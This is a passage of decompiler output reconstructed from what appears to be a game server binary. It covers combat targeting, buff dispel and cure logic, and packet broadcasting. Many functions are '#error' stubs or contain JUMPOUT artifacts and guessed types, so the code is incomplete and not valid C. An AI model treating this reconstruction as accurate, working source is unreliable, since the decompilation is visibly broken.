*)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); if ( this->ts_CurWork == 4 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::TimeScheduler::ts_Set - ", work); } else { this->ts_CallFunc = fnc; this->ts_TimerFunc = ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck; this->ts_DefaultReturn = defaultreturn; this->ts_CurWork = work; } } //----- (004241F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack(ShineObjectClass::ShinePlayer::TimeScheduler *this) { ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork v1; // eax@1 v1 = this->ts_CurWork; return v1 == 2 || v1 == 3; } //----- (00424210) -------------------------------------------------------- char __cdecl sp_CalcChaoticLevel(unsigned int ChaoticPoint) { char result; // al@2 if ( ChaoticPoint <= 0x32 ) { if ( ChaoticPoint <= 0xA ) result = ChaoticPoint > 0; else result = 2; } else { result = 3; } return result; } //----- (00424240) -------------------------------------------------------- #error "424240: undefined or illegal type '#593' (funcsize=3)" //----- (00424250) -------------------------------------------------------- #error "424250: undefined or illegal type '#593' (funcsize=5)" //----- (00424260) -------------------------------------------------------- #error "424260: undefined or illegal type '#593' (funcsize=30)" //----- (004242C0) -------------------------------------------------------- void __thiscall AxialListTargetInform::_AxialListTargetInform(AxialListTargetInform *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListTargetInform::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 6374B8: using guessed type int (__stdcall *AxialListTargetInform___vftable_)(int, int, int distancesquar); //----- (004242D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_GetTargetObject(int this) { return *(_DWORD *)(this + 9060); } //----- (004242E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_Mob_SetSendTagetInfo(int this, char bSend) { char result; // al@1 result = bSend; if ( *(_DWORD *)(this + 9060) != *(_DWORD *)(this + 9056) || *(_BYTE *)(this + 9065) != bSend ) *(_BYTE *)(this + 9064) = 1; *(_BYTE *)(this + 9065) = bSend; return result; } //----- (00424310) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsTarget(int this) { return *(_DWORD *)(this + 32296) != 0; } //----- (00424320) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_IsTarget(int this) { return *(_BYTE *)(this + 9065) != 0; } //----- (00424330) -------------------------------------------------------- #error "424330: undefined or illegal type '#593' (funcsize=83)" //----- (00424420) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_Dispel(#593 *this, #593 *lnkinf, SmashArgument *arg, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int attrbit) { return 0; } //----- (00424430) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineObject::so_ply_Script_CostumeCreate(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]) { return 0; } //----- (00424440) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SkillEnchant(#593 *this, #593 *a2, SmashArgument *arg, BattleObjectGroup::BattleObjectStruct *battleobject, char *resist, char isenemy) { return 0; } //----- (00424460) -------------------------------------------------------- unsigned int __thiscall CharClass::ProfessionWC(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue) { return 0; } //----- (00424470) -------------------------------------------------------- #error "424470: undefined or illegal type '#615' (funcsize=7)" //----- (00424490) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_BashStop(int this) { char *v1; // eax@1 int v2; // esi@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 9277; *((_WORD *)v1 + 1) = *(_WORD *)(this + 4); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v3 = *(_DWORD *)(v2 + 78); v6 = 0; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v4, v3, 0, 0, (int)&alchat, 1, 65535); v6 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00424520) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_Bash(int engarg, int resthp, int abstate, int absstrength, int absrate, int aggroclear) { *(_DWORD *)resthp = 0; return 0; } //----- (00424530) -------------------------------------------------------- #error "424530: undefined or illegal type '#593' (funcsize=118)" //----- (00424660) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_IsImmortal(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 1000))(346); } //----- (00424670) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetNaturalEnemy(int this, int NewNaturalEnemy) { int result; // eax@1 result = NewNaturalEnemy; *(_DWORD *)(this + 7440) = NewNaturalEnemy; return result; } //----- (00424680) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetNaturalEnemy(int this) { return *(_DWORD *)(this + 7440); } //----- (00424690) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_IsEthereal(void *this) { return (*(int (__stdcall **)(_DWORD))(*(_DWORD *)this + 1000))(125); } //----- (004246A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_IsHealDamageType(void *this, int pSkillInfo) { int v2; // eax@1 int v3; // eax@1 JUMPOUT(pSkillInfo, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)(pSkillInfo + 180), 8, Concurrency::_Order_node_base::reserve_message); v2 = (*(int (**)(void))(*(_DWORD *)this + 1796))(); JUMPOUT(v2, 0, Concurrency::_Order_node_base::reserve_message); v3 = *(_DWORD *)(*(_DWORD *)v2 + 99); if ( v3 != 16 && v3 != 5 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); return 1; } // 4246CC: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004246E0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_GetMultiHitSequance(int this) { return *(_WORD *)(this + 143576); } //----- (004246F0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { ActiveSkillGroup **v1; // edx@1 unsigned int result; // eax@2 v1 = this->_Myfirst; if ( v1 ) result = this->_Mylast - v1; else result = 0; return result; } //----- (00424710) -------------------------------------------------------- bool __thiscall std::vector>::empty(std::vector > *this) { ToggleSkill **v1; // edx@1 bool result; // al@2 v1 = this->_Myfirst; if ( v1 ) result = this->_Mylast - v1 == 0; else result = 1; return result; } //----- (00424740) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_PrevElement(List *this, unsigned __int16 handle, unsigned __int16 *newhandle) { unsigned __int16 v3; // ax@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@2 v3 = this->l_Array[handle].ls_Prev; *newhandle = v3; if ( v3 < this->l_MaxSize ) result = this->l_Array[v3].ls_Content; else result = 0; return result; } //----- (00424780) -------------------------------------------------------- #error "424780: undefined or illegal type '#593' (funcsize=147)" //----- (00424980) -------------------------------------------------------- #error "424980: undefined or illegal type '#593' (funcsize=58)" //----- (00424A80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetTargetObject(int this) { return *(_DWORD *)(this + 32296); } //----- (00424A90) -------------------------------------------------------- #error "424A90: undefined or illegal type '#593' (funcsize=191)" //----- (00424D20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S7_44 & 1) ) { _S7_44 |= 1u; cmc_7.cmc_AllowMode = 126; atexit(_E8_32); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_7.cmc_AllowMode ) { *((_DWORD *)v4 + 8074) = 0; *((_BYTE *)v4 + 32288) = 0; (*(void (__thiscall **)(void *, _DWORD, signed int))(*(_DWORD *)v4 + 2568))(v4, 0, 1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ"); } //----- (00424E20) -------------------------------------------------------- #error "424E20: undefined or illegal type '#593' (funcsize=82)" //----- (00424F70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 int v5; // esi@4 int v6; // ebx@6 AbnormalStateDictionary::AbState::AbStateStr *v7; // eax@9 __int16 v8; // ax@11 char *v9; // ecx@13 int v10; // eax@15 v4 = this; if ( !(_S11_11 & 1) ) { _S11_11 |= 1u; cmc_9.cmc_AllowMode = 126; atexit(_E12_9); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_9.cmc_AllowMode ) { v5 = *(_WORD *)(netcmd + 2); if ( v5 >= 609 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_WORD *)(netcmd + 2)); LABEL_7: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Not Find Abstate Index :", v5); return; } v6 = dword_6BC994[v5]; if ( !v6 ) goto LABEL_7; if ( !strncmp((const char *)(*(_DWORD *)v6 + 249), "-", 2) ) goto LABEL_18; v7 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, (char *)(*(_DWORD *)v6 + 249)); if ( !v7 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Not Find MainAbstate Index :", (const char *)(*(_DWORD *)v6 + 249)); return; } v8 = ShineObjectClass::ShinePlayer::EraseGoodBuff(v4, v7->index->AbStataIndex, 7282); if ( v8 == 7280 ) LABEL_18: v8 = ShineObjectClass::ShinePlayer::EraseGoodBuff(v4, *(_DWORD *)(*(_DWORD *)v6 + 34), 7281); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9301; *((_WORD *)v9 + 1) = v8; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ : Packet Too Long", 4); } } } // 424330: using guessed type int __thiscall ShineObjectClass__ShinePlayer__EraseGoodBuff(_DWORD, _DWORD, _DWORD); //----- (004250E0) -------------------------------------------------------- #error "4250E0: undefined or illegal type '#593' (funcsize=71)" //----- (004251F0) -------------------------------------------------------- #error "4251F0: undefined or illegal type '#593' (funcsize=181)" //----- (00425450) -------------------------------------------------------- #error "425450: undefined or illegal type '#593' (funcsize=166)" //----- (004256A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_Dispel(#593 *this, SmashArgument *a2, BattleObjectGroup::BattleObjectStruct *rst, unsigned int battleobject) { SmashArgument *v4; // ebp@1 int v5; // esi@5 int v6; // eax@5 int v8; // edx@7 int v9; // eax@7 int v10; // ecx@7 unsigned __int16 v11; // si@7 unsigned __int16 v12; // bx@7 int v13; // eax@8 int v14; // eax@9 int v15; // esi@10 unsigned int v16; // eax@11 char *v17; // eax@11 int v18; // ecx@11 signed int v19; // eax@12 int v20; // eax@13 int v21; // eax@16 int v22; // eax@27 int v23; // edi@30 int v24; // eax@30 int v25; // eax@30 AbnormalStateContainer::AbstateElementInObject *v26; // eax@30 unsigned __int16 v27; // bx@30 AbnormalStateContainer::AbstateElementInObject *v28; // esi@30 unsigned int v29; // eax@32 char *v30; // eax@32 int v31; // ecx@32 signed int v32; // eax@33 int v33; // edi@34 AbnormalStateContainer::AbnormalStateElement *v34; // eax@39 int v35; // eax@40 int v36; // edx@40 ABSTATEINDEX v37; // edx@46 void *v38; // ebx@46 int v39; // ST18_4@46 unsigned int v40; // eax@46 int v41; // eax@47 int v42; // eax@51 char *v43; // [sp+Ch] [bp-3Ch]@5 int nCurrHandle; // [sp+20h] [bp-28h]@30 int nLastHandle; // [sp+24h] [bp-24h]@30 #593 *v46; // [sp+28h] [bp-20h]@1 FunctionEntarance _; // [sp+2Ch] [bp-1Ch]@1 unsigned int selector; // [sp+30h] [bp-18h]@7 int v49; // [sp+38h] [bp-10h]@22 int v50; // [sp+44h] [bp-4h]@1 char v51; // [sp+4Ch] [bp+4h]@7 int attrbit; // [sp+58h] [bp+10h]@0 v46 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_Dispel"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Dispel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = a2; v50 = 0; if ( !a2 || (unsigned __int8)(*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1152))(a2) == 3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); return 0; } if ( !(*(_BYTE *)((*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 2436))(a2) + 88) & 1) || !(attrbit & 2) ) { v8 = *(_DWORD *)&a2->actionnumber; selector = 1; v9 = (*(int (__thiscall **)(SmashArgument *))(v8 + 1320))(a2); v10 = *(_DWORD *)(v9 + 3248); v11 = *(_WORD *)(v10 + 12 * *(_WORD *)(v9 + 3254) + 4); v12 = *(_WORD *)(v10 + 12 * *(_WORD *)(v10 + 12 * *(_WORD *)(v9 + 3254) + 4) + 4); v51 = 0; while ( 1 ) { v13 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v4->actionnumber + 1320))(v4); if ( v11 >= *(_WORD *)(v13 + 3244) || (v14 = *(_DWORD *)(v13 + 3248) + 12 * v11, !*(_BYTE *)(v14 + 8)) || (v15 = *(_DWORD *)v14) == 0 ) { LABEL_30: v23 = *(_WORD *)((*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v4->actionnumber + 1320))(v4) + 3244); v24 = *(_DWORD *)&v4->actionnumber; nLastHandle = v23; nCurrHandle = v23; v25 = (*(int (__thiscall **)(SmashArgument *))(v24 + 1320))(v4); v26 = List::l_PrevElement( (List *)(v25 + 3240), v23, (unsigned __int16 *)&nCurrHandle); v27 = nCurrHandle; v28 = v26; if ( (unsigned __int16)v23 > (unsigned __int16)nCurrHandle ) { while ( v28 ) { v29 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v29; v30 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v29]]; v31 = *((_DWORD *)v30 + 8193) & (*((_DWORD *)v30 + 8192) + 1); *((_DWORD *)v30 + 8192) = v31; if ( *(_WORD *)&v30[2 * v31] <= 0x3E8u ) { v32 = v28->aeo_Index; if ( v32 < 609 ) { v33 = dword_6BC994[v32]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v28->aeo_Index); v33 = 0; } if ( (1 << *(_DWORD *)(*(_DWORD *)v33 + 240)) & attrbit ) { if ( *(_BYTE *)(rst->bos_Damage + 332) == 1 ) { if ( !AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(v28) || (v34 = AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(v28), !v34->vfptr->ase_IsAbstateIconHide(v34)) ) { if ( (signed int)RandomBox::rb_1000(&rndbox) < *(_DWORD *)(rst->bos_Damage + 336) ) { v37 = v28->aeo_Index; v38 = (void *)v46; v39 = v28->aeo_RestCount; v40 = v28->aeo_Tick.start; v28->aeo_Tick.terminate = clockwatch.cw_CurrTick; if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, ABSTATEINDEX, _DWORD, int, unsigned int, _DWORD, int, _DWORD, signed int))(*(_DWORD *)v38 + 1584))( v38, v38, v37, v28->aeo_Strength, v33, v40, 0, v39, 0, 6) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v38, *(_DWORD *)(*(_DWORD *)v33 + 34)); v41 = *(_DWORD *)(v33 + 36 * v28->aeo_Strength + 8); if ( v41 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v38 + 1004))( v38, *(_DWORD *)(*(_DWORD *)v33 + 34), *(_DWORD *)(v41 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v38, *(_DWORD *)(*(_DWORD *)v33 + 34), *(_DWORD *)(*(_DWORD *)(v33 + 36 * v28->aeo_Strength + 8) + 43), v28->aeo_Strength); } } v51 = 1; } break; } } } v35 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v4->actionnumber + 1320))(v4); v36 = *(_DWORD *)(v35 + 3248); LOWORD(v23) = nLastHandle; v27 = *(_WORD *)(v36 + 12 * v27 + 6); if ( v27 < *(_WORD *)(v35 + 3244) ) v28 = *(AbnormalStateContainer::AbstateElementInObject **)(v36 + 12 * v27); else v28 = 0; } if ( (unsigned __int16)v23 <= v27 ) break; } } if ( (signed int)selector > 1 ) { v42 = v49; *(_BYTE *)v42 |= 2u; *(_DWORD *)(v42 + 32) = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; v50 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Dispel"); return v51; } v16 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v16; v17 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v16]]; v18 = *((_DWORD *)v17 + 8193) & (*((_DWORD *)v17 + 8192) + 1); *((_DWORD *)v17 + 8192) = v18; if ( *(_WORD *)&v17[2 * v18] <= 0x3E8u ) { v19 = *(_DWORD *)(v15 + 4); if ( v19 < 609 ) { v20 = dword_6BC994[v19]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_DWORD *)(v15 + 4)); v20 = 0; } if ( (1 << *(_DWORD *)(*(_DWORD *)v20 + 240)) & attrbit ) { v21 = rst->bos_Damage; if ( *(_BYTE *)(v21 + 236) == 1 ) { *(_DWORD *)(v15 + 32) = clockwatch.cw_CurrTick; v50 = -1; --funcallanalizer.fca_stackpoint; v43 = "ShineObjectClass::ShineMobileObject::so_Dispel"; goto LABEL_6; } if ( *(_BYTE *)(v21 + 228) == 1 ) { *(_DWORD *)(v15 + 32) = clockwatch.cw_CurrTick; LABEL_26: v51 = 1; goto LABEL_27; } if ( *(_BYTE *)(v21 + 244) == 1 ) { if ( selector == 1 || !RandomBox::operator__(&rndbox, selector) ) v49 = v15; ++selector; } if ( *(_BYTE *)(rst->bos_Damage + 492) == 1 ) { *(_BYTE *)v15 |= 2u; *(_DWORD *)(v15 + 32) = clockwatch.cw_CurrTick; goto LABEL_26; } } } LABEL_27: v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v4->actionnumber + 1320))(v4); if ( v12 >= *(_WORD *)(v22 + 3244) ) goto LABEL_30; v11 = v12; v12 = *(_WORD *)(*(_DWORD *)(v22 + 3248) + 12 * v12 + 4); } } v5 = *(_DWORD *)&a2->actionnumber; v6 = (*(int (__thiscall **)(SmashArgument *, signed int, signed int))(*(_DWORD *)&a2->actionnumber + 1252))( a2, 1000, 1); (*(void (__thiscall **)(SmashArgument *, SmashArgument *, int))(v5 + 1468))(a2, a2, v6); v50 = -1; --funcallanalizer.fca_stackpoint; v43 = "ShineObjectClass::ShineMobileObject::so_Dispel"; LABEL_6: FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v43); return 1; } // 4256A0: inconsistent function type and number of purged bytes //----- (00425BC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_SkillCure(#593 *this, SmashArgument *a2, BattleObjectGroup::BattleObjectStruct *step) { SmashArgument *v3; // edi@1 int v4; // eax@3 int v5; // eax@4 int v6; // ecx@4 unsigned __int16 v7; // si@4 unsigned __int16 v8; // bp@4 char v9; // bl@4 int v10; // eax@5 int v11; // eax@6 int v12; // esi@7 unsigned int v13; // eax@8 char *v14; // eax@8 int v15; // ecx@8 signed int v16; // eax@9 int v17; // eax@10 int v18; // eax@12 int v19; // ecx@12 int v20; // eax@15 char result; // al@18 signed int v22; // [sp+20h] [bp+4h]@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_SkillCure"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; if ( a2 && (unsigned __int8)(*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&a2->actionnumber + 1152))(a2) != 3 && (v4 = step->bos_Damage, *(_BYTE *)(v4 + 180)) ) { v22 = *(_DWORD *)(v4 + 184); v5 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v3->actionnumber + 1320))(v3); v6 = *(_DWORD *)(v5 + 3248); v7 = *(_WORD *)(v6 + 12 * *(_WORD *)(v5 + 3254) + 4); v8 = *(_WORD *)(v6 + 12 * *(_WORD *)(v6 + 12 * *(_WORD *)(v5 + 3254) + 4) + 4); v9 = 0; while ( 1 ) { v10 = (*(int (__thiscall **)(SmashArgument *))(*(_DWORD *)&v3->actionnumber + 1320))(v3); if ( v7 >= *(_WORD *)(v10 + 3244) ) break; v11 = *(_DWORD *)(v10 + 3248) + 12 * v7; if ( !*(_BYTE *)(v11 + 8) ) break; v12 = *(_DWORD *)v11; if ( !*(_DWORD *)v11 ) break; v13 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v13; v14 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v13]]; v15 = *((_DWORD *)v14 + 8193) & (*((_DWORD *)v14 + 8192) + 1); *((_DWORD *)v14 + 8192) = v15; if ( *(_WORD *)&v14[2 * v15] <= 0x3E8u ) { v16 = *(_DWORD *)(v12 + 4); if ( v16 < 609 ) { v17 = dword_6BC994[v16]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", *(_DWORD *)(v12 + 4)); v17 = 0; } v18 = *(_DWORD *)v17; v19 = *(_DWORD *)(v18 + 240); if ( v19 == 3 || v19 == 4 ) { if ( *(_BYTE *)(v18 + 39) <= v22 ) { *(_BYTE *)v12 |= 1u; *(_DWORD *)(v12 + 32) = clockwatch.cw_CurrTick; v9 = 1; break; } } } v20 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->actionnumber + 1320))(v3); if ( v8 >= *(_WORD *)(v20 + 3244) ) break; v7 = v8; v8 = *(_WORD *)(*(_DWORD *)(v20 + 3248) + 12 * v8 + 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); result = v9; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SkillCure"); result = 0; } return result; } // 425BC0: inconsistent function type and number of purged bytes //----- (00425DE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_smash(void *this, int engarg) { void *v2; // ebp@1 int v3; // ebx@1 int v4; // edi@1 int v5; // eax@1 int v6; // ebx@1 int v7; // ecx@2 char *v8; // edi@5 __int16 v9; // ax@5 int v10; // eax@5 int v11; // edx@5 int v12; // ST18_4@5 int v13; // ST04_4@5 int v14; // eax@5 __int16 v15; // ax@6 int v16; // eax@8 AxialListPacketBroadcast alchat; // [sp+20h] [bp-18h]@5 int v19; // [sp+34h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_smash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_smash : Must be changed as Bash", 0); v3 = (*(int (__stdcall **)(int))(**((_DWORD **)v2 + 1856) + 28))(engarg); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1412))(v2); (*(void (**)(void))(**(_DWORD **)(engarg + 4) + 1412))(); v4 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1252))(); v5 = (*(int (__stdcall **)(int))(**(_DWORD **)(engarg + 4) + 3140))(v3); v6 = v5; if ( v5 > 0 ) { v7 = *(_DWORD *)(engarg + 4); if ( v5 < v4 ) { (*(void (__stdcall **)(void *, int, signed int, signed int))(*(_DWORD *)v7 + 1468))(v2, v5, 1000, 1); *(_BYTE *)(engarg + 18) = 0; } else { (*(void (__stdcall **)(void *, int, signed int, signed int))(*(_DWORD *)v7 + 1464))(v2, v4, 1000, 1); *(_BYTE *)(engarg + 18) = 1; } v8 = gpp.pp_Buffer; v9 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v9; *(_WORD *)v8 = v9 ^ (v9 ^ ((*(_BYTE *)(engarg + 18) != 0) + 22)) & 0x3FF; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_WORD *)v8 + 2) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v8[6] = *(_BYTE *)(engarg + 14); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v10 = *(_DWORD *)((char *)v2 + 78); v11 = *((_WORD *)v8 + 2); LOBYTE(v19) = 1; v12 = v11; v13 = v10; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v14, v13, 0, 0, (int)&alchat, 0, v12); if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(engarg + 4) + 1228))() == 2 ) { *(_WORD *)v8 = 9236; v8[6] = *(_BYTE *)(engarg + 15); v15 = *((_WORD *)v8 + 2) & 0xFFFE | *(_BYTE *)(engarg + 18) & 1; *((_WORD *)v8 + 2) = v15; *((_WORD *)v8 + 2) = 4 * v6 | (v15 & 1 | (unsigned __int8)(2 * (*(_BYTE *)(engarg + 16) & 1))) & 3; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v16 = (*(int (**)(void))(**(_DWORD **)(engarg + 4) + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v16 + 12))( v16, *(_DWORD *)(engarg + 4), &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMobileObject::so_smash : Packet Too Long", 7); } } LOBYTE(v19) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_smash"); return v6; } //----- (00426040) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_smash(void *this, int engarg) { void *v2; // edi@1 int v3; // eax@1 char *v4; // ecx@1 int v5; // ebp@1 __int16 v6; // ax@1 int v7; // esi@2 __int16 v8; // ax@3 int v9; // eax@6 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_smash"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_smash"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineMobileObject::so_smash(v2, engarg); v4 = gpp.pp_Buffer; v5 = v3; v6 = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x2400; *(_WORD *)gpp.pp_Buffer = v6; if ( *(_BYTE *)(engarg + 17) ) { *(_WORD *)v4 = v6 & 0xFC15 | 0x15; *((_WORD *)v4 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v4[4] = *(_BYTE *)(engarg + 15); v7 = 5; } else { *(_WORD *)v4 = v6 & 0xFC13 | 0x13; *((_WORD *)v4 + 1) = *(_WORD *)(*(_DWORD *)(engarg + 4) + 4); v4[6] = 